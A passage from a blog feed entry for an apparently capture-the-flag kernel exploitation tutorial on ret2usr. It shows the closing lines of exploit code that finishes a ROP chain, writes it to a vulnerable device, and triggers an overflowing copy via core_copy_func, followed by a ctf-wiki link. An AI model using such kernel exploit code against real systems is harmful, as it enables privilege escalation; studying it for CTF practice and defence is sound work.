user_rflags;</span><br><span class="line">    rop[i++] = user_sp;</span><br><span class="line">    rop[i++] = user_ss;</span><br><span class="line">    write(fd,rop,i*8);</span><br><span class="line">    core_copy_func(fd,0xf000000000000000+i*8);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Attack Success! .\033[0m&quot;);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250811132730535.png"                      alt="image-20250720202401158"                ></p><h2 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h2><p><a class="link"   href="https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/" >https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16113.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16113.html"/>
    <published>2025-07-20T11:02:29.000Z</published>
    <summary>
      <![CDATA[<h1 id="Kernel-ret2usr"><a href="#Kernel-ret2usr" class="headerlink" title="Kernel ret2usr"></a>Kernel]]>
    </summary>
    <title>Kernel初识 - Kernel ret2usr</title>
    <updated>2025-08-11T05:32:45.000Z</updated>
  </entry>
</feed>
